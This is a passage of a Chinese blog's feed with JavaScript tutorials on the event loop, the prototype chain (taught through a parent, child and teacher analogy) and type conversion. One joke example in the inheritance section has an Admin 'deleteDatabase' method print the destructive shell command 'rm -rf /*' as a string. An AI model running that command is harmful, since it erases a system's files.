</span></span><span>=</span><span> </span><span>await</span><span> </span><span>fun2</span><span>()</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>data</span><span>)</span></span></div></div><div><div><div>4</div></div><div><span>}</span></div></div><div><div><div>5</div></div><div><span>async</span><span> </span><span>function</span><span> </span><span>fun2</span><span>(){</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>200</span><span>)</span></div></div><div><div><div>7</div></div><div><span>  </span><span>return</span><span> </span><span>100</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div><div><div><div>9</div></div><div><span>//200</span></div></div><div><div><div>10</div></div><div><span>//100</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在async函数中 await后执行的相当于then后的函数</p><p>题</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>2</div></div><div><span>async</span><span> </span><span>function</span><span> </span><span>async1</span><span>(){</span></div></div><div><div><div>3</div></div><div><span>  </span><span>await</span><span> </span><span>async2</span><span>()</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>2</span><span>)</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div><div><div><div>6</div></div><div><span>async</span><span> </span><span>function</span><span> </span><span>async2</span><span>(){</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>3</span><span>)</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div><div><div><div>9</div></div><div><span>async1</span><span>()</span></div></div><div><div><div>10</div></div><div><span>setTimeout</span><span>(</span><span>function</span><span>(){</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>4</span><span>)</span></div></div><div><div><div>12</div></div><div><span>},</span><span>0</span><span>)</span></div></div><div><div><div>13</div></div><div><span>new</span><span> </span><span>Promise</span><span><span>(</span><span>resolve</span><span> </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>5</span><span>)</span></div></div><div><div><div>15</div></div><div><span>  </span><span>resolve</span><span>()</span></div></div><div><div><div>16</div></div><div><span>}).</span><span>then</span><span>(</span><span>function</span><span>(){</span></div></div><div><div><div>17</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>6</span><span>)</span></div></div><div><div><div>18</div></div><div><span>}).</span><span>then</span><span>(</span><span>function</span><span>(){</span></div></div><div><div><div>19</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>7</span><span>)</span></div></div><div><div><div>20</div></div><div><span>})</span></div></div><div><div><div>21</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>8</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>同步任务：1、3、5、8
微任务：2、6、7
宏任务：4
1 3 5 8 2 6 7 4</p><p>1.同步
2.微任务 promise.then process.nextTick
3.宏任务 setTimeout Ajax 读取文件 setImmediate</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/javascript/prototype/</id>
      <title type="text">JavaScript原型链</title>
      <published>2021-08-01T00:00:00.000Z</published>
      <updated>2021-08-01T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/javascript/prototype/"/>
      <summary type="text">从一个构造函数和实例的角度来看原型链关系</summary>
      <content type="html"><![CDATA[<section><h4>引例<a href="#引例"><span>#</span></a></h4><p>从一个构造函数和实例的角度来看原型链关系</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>Person</span><span>(){</span></div></div><div><div><div>2</div></div><div><span>  </span><span>this</span><span>.</span><span>name</span><span> </span><span>=</span><span> </span><span>'anymous'</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>P</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>Person</span><span>();</span></div></div><div><div><div>5</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>P</span><span>.</span><span>name</span><span>) </span><span>//anymous</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Person是构造函数，p是<code>Person</code>实例化出来的对象，<code>Person.prototype</code>是实例的原型对象</p><ul>
<li>原型对象(Person.prototype)的属性<code>constructor</code>指向原构造函数</li>
<li>构造函数(Person)的属性<code>prototype</code>指向实例原型对象</li>
<li>构造函数的实例(p)的<code>__proto__</code>指向实例原型对象</li>
<li>Person实例化出来的对象P，同时P的constructor属性会指向Person</li>
</ul><p>简单来说画个图就是这么个关系</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210713102828536.png" alt="image-20210713102828536" /><figcaption>image-20210713102828536</figcaption></figure><p></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>//证明上面的图</span></div></div><div><div><div>2</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>P</span><span>.</span><span>constructor</span><span> </span><span>==</span><span><span> </span><span>Person</span><span>) </span></span><span>//true</span></div></div><div><div><div>3</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>Person</span><span>.</span><span>prototype</span><span>)</span></div></div><div><div><div>4</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>Person</span><span>.</span><span>prototype</span><span>.</span><span>constructor</span><span> </span><span>==</span><span><span> </span><span>Person</span><span>) </span></span><span>//true</span></div></div><div><div><div>5</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>P</span><span>.</span><span>__proto__</span><span> </span><span>==</span><span> </span><span>Person</span><span>.</span><span>prototype</span><span>) </span><span>//true</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>到这估计你可能有点懵，这些概念都是什么玩意？</p><p>我给这部分想了个故事：<code>Person</code>当做父母，<code>P</code>是娃，<code>Person.prototype</code>是老师。娃刚一生(娃先拥有了父母的属性方法)，然后父母就给娃找老师教本事，父母能通过<code>prototype</code>找到老师(哪个老师教的娃)，老师也能通过<code>constructor</code>找到父母(知道这谁生的娃)，娃能通过<code>__proto__</code>找到老师，同时娃也能通过<code>constructor</code>来找到父母，并且由于跟着老师学本事，通过<code>__proto__</code>可以获得老师的学识，比如当有人问这个娃一个问题的时候，娃就去老师那里去问，老师如果不会就去老师的老师那里去问(就像一条链条一样)。当然此处娃(实例)可能不止一个，但是老师(实例原型对象)和父母(构造函数)是唯一的。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210802193838375.png" alt="image-20210802193838375" /><figcaption>image-20210802193838375</figcaption></figure><p></p><p>这里定义几个故事的设定：</p><ol>
<li>
<p>当徒弟获取一个知识。徒弟首先看看自己知道不，如果自己不知道那就去问师父，如果师父不会就会去问师父的师父，只要这条师徒线上有人会，徒弟就能了解到这个东西。当然，如果中途换了师父，那就只能找换后的师徒线去获取了</p>
<p>师徒线：徒-师父-师父的师父-师父的师父的师父-…</p>
<p>证明</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>P</span><span>.</span><span>name</span><span>) </span><span>//徒弟本身就有的属性，不需要问师父</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>师父，也就是Person.prototype是构造函数一创建跟着创建好的对象，我们可以给师父添加一个技能</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Person</span><span>.</span><span>prototype</span><span>.</span><span>skill</span><span> </span><span>=</span><span> </span><span>"精通JavaScript的拼写"</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>看看徒弟(娃/P实例)能不能获取到</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>P</span><span>.</span><span>skill</span><span>) </span><span>//精通JavaScript的拼写</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>可以看到徒弟是可以从师父那获取到属性的。这就是JavaScript实现继承的方式。</p>
<p>还有一种情况，如何给娃改变老师，娃可以直接改变自己的<code>__proto__</code>指向</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>//改变P实例的__proto__指向</span></div></div><div><div><div>2</div></div><div><span>P</span><span>.</span><span>__proto__</span><span> </span><span>=</span><span> {</span></div></div><div><div><div>3</div></div><div><span>  </span><span>teacher</span><span>:</span><span>'新老师'</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div><div><div><div>5</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>P</span><span>.</span><span>teacher</span><span>) </span><span>//新老师</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>有人可能会想，那让父母直接给所有实例都替换新的老师不行吗，也就是改变Person构造函数的<code>prototype</code>，让这个属性指向一个新的对象</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>//Person构造函数的prototype</span></div></div><div><div><div>2</div></div><div><span>Person</span><span>.</span><span>prototype</span><span> </span><span>=</span><span> {</span></div></div><div><div><div>3</div></div><div><span>  </span><span>teacher</span><span>:</span><span>'新老师'</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div><div><div><div>5</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>P</span><span>.</span><span>teacher</span><span>) </span><span>//undefined</span></div></div><div><div><div>6</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>P</span><span>.</span><span>__proto__</span><span> </span><span>==</span><span> </span><span>Person</span><span>.</span><span>prototype</span><span>) </span><span>//false</span></div></div><div><div><div>7</div></div><div><span>P2</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>Person</span><span>()</span></div></div><div><div><div>8</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>P2</span><span>.</span><span>teacher</span><span>) </span><span>//新老师</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>可以看到，虽然Person构造函数改变了prototype指向，但是之前声明的对象P依然不能使用Person.prototype的属性teacher，通过验证我们知道P的<code>__proto__</code>指向的并不是更换后的Person.prototype，而是之前那个Person.prototype。</p>
<p>结论是什么呢，<span>就是说Person构造函数一创建，JS就会创建Person.prototype属性，当Person构造函数创建实例对象的时候，JS引擎就会把实例对象(P)的<code>__proto__</code>属性指向当前的Person.prototype，后期若是要改变Person.prototype，之前创建的实例依然指向的是之前的Person.prototype，也就是说只能改变之后创建的实例。</span></p>
<p>按故事来讲就是娃长大了，以后自己找的老师父母也就干预不了了，若是父母给娃换老师也只能是给之后的娃换。</p>
<p><span>有一点需要注意，<code>__proto__</code>是隐藏属性，不能在生产环境中用，会很耗费性能。</span></p>
</li>
<li>
<p>师父可以通过<code>constructor</code>找到徒弟的父母，徒弟也可以通过<code>constructor</code>找到自己的父母</p>
<p>证明</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>P</span><span>.</span><span>constructor</span><span> </span><span>==</span><span> </span><span>Person</span><span>.</span><span>prototype</span><span>.</span><span>constructor</span><span> </span><span>//true</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>当然，还是一样，如果哪个娃自己换了师父，那他的师父的constructor不会指向徒弟的父母，这也很好理解，毕竟本身就不是父母找下的嘛。</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>newTeacher</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>teacher</span><span>:</span><span>'新老师'</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>P</span><span>.</span><span>__proto__</span><span> </span><span>=</span><span><span> </span><span>newTeacher</span></span></div></div><div><div><div>5</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>newTeacher</span><span> </span></span><span>==</span><span> </span><span>Person</span><span>.</span><span>prototype</span><span>) </span><span>// false</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
</ol><p>上面这个三角仅仅是原型链的一个角落，还有很多不知道的，比如上面说了师徒链，但并不完全，那Person.prototype的师父是谁呢？又是谁创建的呢？更新一下图。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210712114203178.png" alt="image-20210712114203178" /><figcaption>image-20210712114203178</figcaption></figure><p></p><p>可以看到Person.prototype是Object创建的，这个很好理解，因为他是一个对象嘛。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>obj</span><span> </span></span><span>=</span><span> </span><span>new</span><span> </span><span>Object</span><span>()</span></div></div><div><div><div>2</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>obj</span><span>.</span></span><span>__proto__</span><span> </span><span>==</span><span> </span><span>Person</span><span>.</span><span>prototype</span><span>.</span><span>__proto__</span><span>) </span><span>//true</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以看到Person.prototype和Object创建出来的obj的<code>__proto__</code>指向是一样的，因为他们都是Object的娃。</p><p>结果相当于什么呢，就是Object是Person.prototype的父母，而Object.prototype就是Object给Person.prototype找的老师。</p><p>同时我们注意到Object创建了Person.prototype，但是Person.prototype的constructor并不是指向Object，而是原构造函数，这算是一种设定吧，但是感觉不是很符合直觉。<span>也就是说如果是实例，constructor会指向实例的构造函数，如果是实例的原型对象，那constructor还是会指向原实例的构造函数，这个属性相当于是定好的。</span> 哪怕Person改变prototype的指向到一个新的对象，之前创建好的实例的原型对象的contructor依然指向Person构造函数。</p><blockquote><p>只要创建了一个新函数，就会根据一组特定的规则为该函数(Person)创建一个prototype属性，这个属性指向函数的原型对象(Person.prototype)。在默认情况下，所有原型对象都会自动获得一个constructor（构造函数）属性，这个属性包含一个指向prototype属性所在函数的指针。
引用自《JavaScript高级程序设计》</p></blockquote><p>更新一下师徒链：P实例 &gt;&gt; Person.prototype &gt;&gt; Object.prototype</p><p>Object.prototype是谁呢，他还有师父吗？再更新一下图</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210712115033405.png" alt="image-20210712115033405" /><figcaption>image-20210712115033405</figcaption></figure><p></p><p>更新一下师徒链：P实例 &gt;&gt; Person.prototype &gt;&gt; Object.prototype&gt;&gt; null</p><p>可以看到Object.prototype的师父是<code>null</code>，你可以这么理解，Object.prototype已经是祖师爷级别的人了，他的一身本事都是从无到有的过程，所以他的师父就是空，也就是<code>null</code>。</p><blockquote><p>null表示没有对象，你可以理解这里的意思为Object.prototype就没有实例原型对象</p></blockquote><p>Person和Object同样都是构造函数，但也是实例对象，他们是由谁创建的呢？他们的实例原型对象又是谁？再次更新图。下面是最终图</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210718174103107.png" alt="image-20210718174103107" /><figcaption>image-20210718174103107</figcaption></figure><p></p><p>可以看到构造函数(Person,Object包括Function自己)的constructor都指向了Function，我们可以知道是Function创建了这些构造函数，由此也就可以推出Function相当于是Person,Object的父母，就是说Person和Object就会指向Function给他们找的老师Function.prototype。</p><p>这里有几点需要注意。</p><ol>
<li>Function很特别，他的constructor指向自己，<code>__proto__</code>也和其他构造函数一样是指向<code>Function.prototype</code>，Function就相当于祖先，祖先的老师就是自己找的(因为没人创建Function)，也合理。</li>
<li>唯一一点不太符合思维的就是虽然Object和Person的实例原型对象都是Function.prototype，但是由于Function.prototype依然是Object创建的，所以Function.prototype的师父(<code>.__proto__</code>)依然还是Object.prototype。</li>
</ol></section>
<section><h3>小结<a href="#小结"><span>#</span></a></h3><p>原型链实际上就是一个继承的链条，就相当于我上面所说的师徒链，可以简单理解为由<code>__proto__</code>组成的链条</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210718182627268.png" alt="image-20210718182627268" /><figcaption>image-20210718182627268</figcaption></figure><p></p><p>通过这条链条下游的对象访问一些属性的时候若自身没有，就会去上游寻找是否有这个属性，上游有这个属性下游就能获取到。</p></section>
<section><h3>例子：拓展属性和方法<a href="#例子拓展属性和方法"><span>#</span></a></h3><p>比如说普通用户User和管理员Admin，普通用户有用户名和密码和可以登录，管理员除了普通用户的功能，还有一个删库能力。</p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210712151631272.png" alt="image-20210712151631272" /><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>User</span><span><span>(</span><span>name</span><span>,</span><span>password</span><span>){</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>this</span><span>.</span><span>name</span><span> </span><span>=</span><span><span> </span><span>name</span><span>;</span></span></div></div><div><div><div>3</div></div><div><span>  </span><span>this</span><span>.</span><span>password</span><span> </span><span>=</span><span><span> </span><span>password</span><span>;</span></span></div></div><div><div><div>4</div></div><div><span>  </span><span>this</span><span>.</span><span>login</span><span> </span><span>=</span><span> </span><span>function</span><span>(){</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>.</span><span>name</span><span>+</span><span>"登录成功"</span><span>)</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div><span>function</span><span> </span><span>Admin</span><span><span>(</span><span>name</span><span>,</span><span>password</span><span>){</span></span></div></div><div><div><div>9</div></div><div><span>  </span><span>this</span><span>.</span><span>name</span><span> </span><span>=</span><span><span> </span><span>name</span><span>;</span></span></div></div><div><div><div>10</div></div><div><span>  </span><span>this</span><span>.</span><span>password</span><span> </span><span>=</span><span><span> </span><span>password</span><span>;</span></span></div></div><div><div><div>11</div></div><div><span>  </span><span>this</span><span>.</span><span>deleteDatabase</span><span> </span><span>=</span><span> </span><span>function</span><span>(){</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"rm -rf /*"</span><span>)</span></div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>14</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Admin可以使用自己原型上的属性和方法，User的实例上包含User的所有属性和方法，将Admin.prototype指向一个new User()(也就是User的实例对象)。过程就是先是将Admin的prototype属性指向了User的实例对象，然后Admin实例化一个对象admin，此时admin有了Admin上的属性和方法，同时会被<code>__proto__</code>属性连接到User的实例对象上，也就同时可以使用Admin上的属性方法和User实例上的属性方法。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Admin</span><span>.</span><span>prototype</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>User</span><span>()</span></div></div><div><div><div>2</div></div><div><span>let</span><span><span> </span><span>admin</span><span> </span></span><span>=</span><span> </span><span>new</span><span> </span><span>Admin</span><span>(</span><span>'an'</span><span>,</span><span>123456</span><span>)</span></div></div><div><div><div>3</div></div><div><span><span>admin</span><span>.</span></span><span>login</span><span>() </span><span>//an登录成功</span></div></div><div><div><div>4</div></div><div><span><span>admin</span><span>.</span></span><span>deleteDatabase</span><span>() </span><span>//rm -rf /*</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h3>总结：<a href="#总结"><span>#</span></a></h3><p>1.所有的构造函数都是Function创建的，比如示例里的Person也包括Object，因此构造函数和Object的原型都是<code>Function.prototype</code></p><p>2.构造函数创建了对应的实例对象，Object(也是构造函数)创建了所有的原型对象，所有构造函数的实例对象的原型指向<code>构造函数.prototype</code>。</p><p>我总结出来一个规律，A创造了B，那么<code>B.__proto__==A.prototype</code></p><p>1.比如Function创建了Person和Object，那结论就是</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>Person</span><span>(){</span></div></div><div><div><div>2</div></div><div><span>  </span><span>this</span><span>.</span><span>name</span><span>=</span><span>"Anonymous"</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>Person</span><span>.</span></span><span>__proto__</span><span> </span><span>==</span><span> </span><span>Function</span><span>.</span><span>prototype</span><span>)</span><span>//true</span></div></div><div><div><div>5</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>Object</span><span>.</span></span><span>__proto__</span><span> </span><span>==</span><span> </span><span>Function</span><span>.</span><span>prototype</span><span>)</span><span>//true</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>2.构造函数创建了实例对象，Object则是创建了实例的原型对象，结论是</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>Person</span><span>(){</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>name</span><span>:</span><span>"Anonymous"</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>P</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>Person</span><span>()</span></div></div><div><div><div>5</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>P</span><span>.</span><span>__proto__</span><span> </span><span>==</span><span> </span><span>Person</span><span>.</span><span>prototype</span><span>) </span><span>//true</span></div></div><div><div><div>6</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>Person</span><span>.</span><span>prototype</span><span>.</span><span>__proto__</span><span>==</span><span> </span><span>Object</span><span>.</span><span>prototype</span><span>)</span><span>//true</span></div></div><div><div><div>7</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>Function</span><span>.</span><span>prototype</span><span>.</span><span>__proto__</span><span>==</span><span> </span><span>Object</span><span>.</span><span>prototype</span><span>)</span><span>//true</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>有一个问题，<code>Object.prototype</code>也应该是一个原型对象吧，那<code>Object.prototype.__proto__</code>是不是也指向<code>Object.prototype</code>？虽然<code>Object.prototype</code>的确也是原型对象，但是这是一个例外，<code>Object.prototype.__proto__</code>指向的是null，应该是JS出于设计上的考虑。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>__proto__</span><span>==</span><span>Object</span><span>.</span><span>prototype</span><span>)</span><span>//false</span></div></div><div><div><div>2</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>__proto__</span><span>==</span><span>null</span><span>)</span><span>//true</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h3>应用场景<a href="#应用场景"><span>#</span></a></h3><blockquote><p>为什么判断对象类型可以使用 Object.prototype.toString() 来判断对象数据类型呢</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>({})       </span><span>// "[object Object]"</span></div></div><div><div><div>2</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>({})  </span><span>// 同上结果，加上call也ok</span></div></div><div><div><div>3</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>1</span><span>)    </span><span>// "[object Number]"</span></div></div><div><div><div>4</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>'1'</span><span>)  </span><span>// "[object String]"</span></div></div><div><div><div>5</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>true</span><span>)  </span><span>// "[object Boolean]"</span></div></div><div><div><div>6</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>function</span><span>(){})  </span><span>// "[object Function]"</span></div></div><div><div><div>7</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>null</span><span>)   </span><span>//"[object Null]"</span></div></div><div><div><div>8</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>undefined</span><span>) </span><span>//"[object Undefined]"</span></div></div><div><div><div>9</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>/123/</span><span>g</span><span>)    </span><span>//"[object RegExp]"</span></div></div><div><div><div>10</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>new</span><span> </span><span>Date</span><span>()) </span><span>//"[object Date]"</span></div></div><div><div><div>11</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>([])       </span><span>//"[object Array]"</span></div></div><div><div><div>12</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span><span>(</span><span>document</span><span>)  </span></span><span>//"[object HTMLDocument]"</span></div></div><div><div><div>13</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span><span>(</span><span>window</span><span>)   </span></span><span>//"[object Window]"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>上面是使用的方法，那可以不可以直接对象调用toString呢</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>'1'</span><span>.</span><span>toString</span><span>() </span><span>//"1"</span></div></div><div><div><div>2</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>'1'</span><span>)  </span><span>// "[object String]"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以看到这样的结果是不同的，这是什么原因呢？就是字符串对象重写了Object.prototype上的toString方法，因此直接调用的是重写后的方法，有很多Object实例对象都重写了Object的实例原型对象的toString方法，只有用Object.prototype.toString.call(&lt;对象&gt;)才能返回对应的类型。</p><p>辅助证明一下</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>arr</span></span><span>=</span><span>[</span><span>1</span><span>,</span><span>2</span><span>,</span><span>3</span><span>];</span></div></div><div><div><div>2</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>Array</span><span>.</span><span>prototype</span><span>.</span><span>hasOwnProperty</span><span>(</span><span>"toString"</span><span>));</span><span>//true</span></div></div><div><div><div>3</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>arr</span><span>.</span></span><span>toString</span><span>());</span><span>//1,2,3</span></div></div><div><div><div>4</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span><span>(</span><span>arr</span><span>)) </span></span><span>//"[object Array]")</span></div></div><div><div><div>5</div></div><div><span>delete</span><span> </span><span>Array</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>;</span><span>//delete操作符可以删除实例属性</span></div></div><div><div><div>6</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>Array</span><span>.</span><span>prototype</span><span>.</span><span>hasOwnProperty</span><span>(</span><span>"toString"</span><span>));</span><span>//false</span></div></div><div><div><div>7</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>arr</span><span>.</span></span><span>toString</span><span>());</span><span>//"[object Array]"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以看到Array自身的toString本身是<code>1，2，3</code>，但是删除掉后就调用的是Object.prototype上的toString了，结果就和直接用Object.prototype.toString.call(arr)的效果一样了。</p><blockquote><p>在Vue2中注册全局方法</p></blockquote><p>main.js中，Vue就像一个构造函数，这样就相当于是在Vue的实例对象上添加了这个md5方法</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210801220227751.png" alt="image-20210801220227751" /><figcaption>image-20210801220227751</figcaption></figure><p></p><p>这样在项目中就可以用this.$md5调用这个方法了。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210801222049295.png" alt="image-20210801222049295" /><figcaption>image-20210801222049295</figcaption></figure><p></p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/javascript/data-transform/</id>
      <title type="text">JavaScript数据类型转换</title>
      <published>2021-06-21T00:00:00.000Z</published>
      <updated>2021-06-21T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/javascript/data-transform/"/>
      <summary type="text">JavaScript 中的强制类型转换和隐式类型转换，以及 == 比较背后的规则。</summary>
      <content type="html"><![CDATA[<p>JavaScript数据类型转换 有时候需要强制转换，有时候JavaScript会自己进行隐式转换，此时就得注意了。</p>
